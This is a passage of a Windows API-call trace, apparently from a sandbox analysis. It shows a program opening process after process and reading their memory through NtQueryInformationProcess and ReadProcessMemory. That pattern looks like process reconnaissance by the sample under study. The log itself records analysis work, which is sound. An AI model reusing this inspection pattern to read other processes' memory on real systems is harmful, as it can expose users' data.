_Buffer="3756") returned 4 [0245.191] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.191] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0245.338] GetLastError () returned 0x0 [0245.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x2dc24fc2d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.341] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.343] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.343] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.343] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.343] malloc (_Size=0x8a) returned 0x20abc284e70 [0245.343] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x50197a, lpBuffer=0x20abc284e70, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0245.344] free (_Block=0x20abc284e70) [0245.345] CloseHandle (hObject=0x464) returned 1 [0245.345] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0245.350] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3764") returned 4 [0245.351] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.351] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x464 [0245.525] GetLastError () returned 0x0 [0245.526] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.526] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bc018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.528] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.530] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.530] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bc020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.530] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.530] malloc (_Size=0x6c) returned 0x20abc284e70 [0245.530] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d195c, lpBuffer=0x20abc284e70, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0245.531] free (_Block=0x20abc284e70) [0245.532] CloseHandle (hObject=0x464) returned 1 [0245.532] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0245.537] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3808") returned 4 [0245.539] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.539] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x464 [0245.554] GetLastError () returned 0x0 [0245.559] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.560] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.561] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.563] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.563] malloc (_Size=0x48) returned 0x20abc2a8000 [0245.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1938, lpBuffer=0x20abc2a8000, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a8000*, lpNumberOfBytesRead=0x0) returned 1 [0245.564] free (_Block=0x20abc2a8000) [0245.565] CloseHandle (hObject=0x464) returned 1 [0245.565] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0245.569] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3816") returned 4 [0245.693] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.693] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.706] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x464 [0245.706] GetLastError () returned 0x0 [0245.707] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.707] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.707] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.707] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.707] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.708] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.710] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.710] malloc (_Size=0x6a) returned 0x20abc284f50 [0245.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x51195a, lpBuffer=0x20abc284f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0245.711] free (_Block=0x20abc284f50) [0245.806] CloseHandle (hObject=0x464) returned 1 [0245.806] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0245.810] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3824") returned 4 [0245.811] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.811] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x464 [0245.922] GetLastError () returned 0x0 [0245.923] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.923] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3e4018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.925] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.926] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.926] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3e4020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.927] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.927] malloc (_Size=0x6a) returned 0x20abc284f50 [0245.927] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e195a, lpBuffer=0x20abc284f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0245.927] free (_Block=0x20abc284f50) [0245.928] CloseHandle (hObject=0x464) returned 1 [0245.928] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0245.932] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3840") returned 4 [0245.933] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.933] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x464 [0245.946] GetLastError () returned 0x0 [0245.948] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x323018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.949] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.951] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.951] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x323020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.951] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.951] malloc (_Size=0x82) returned 0x20abc2abbb0 [0245.951] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1972, lpBuffer=0x20abc2abbb0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abbb0*, lpNumberOfBytesRead=0x0) returned 1 [0245.952] free (_Block=0x20abc2abbb0) [0245.952] CloseHandle (hObject=0x464) returned 1 [0245.953] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0245.956] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3848") returned 4 [0245.957] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.957] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.099] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x464 [0246.099] GetLastError () returned 0x0 [0246.100] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.100] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.103] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.104] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.104] malloc (_Size=0x6e) returned 0x20abc284f50 [0246.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f195e, lpBuffer=0x20abc284f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0246.105] free (_Block=0x20abc284f50) [0246.106] CloseHandle (hObject=0x464) returned 1 [0246.106] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0246.109] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3868") returned 4 [0246.110] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.111] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.124] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x464 [0246.124] GetLastError () returned 0x0 [0246.125] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x29c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.126] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.127] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x29c020, lpBuffer=0x2dc24fc090, 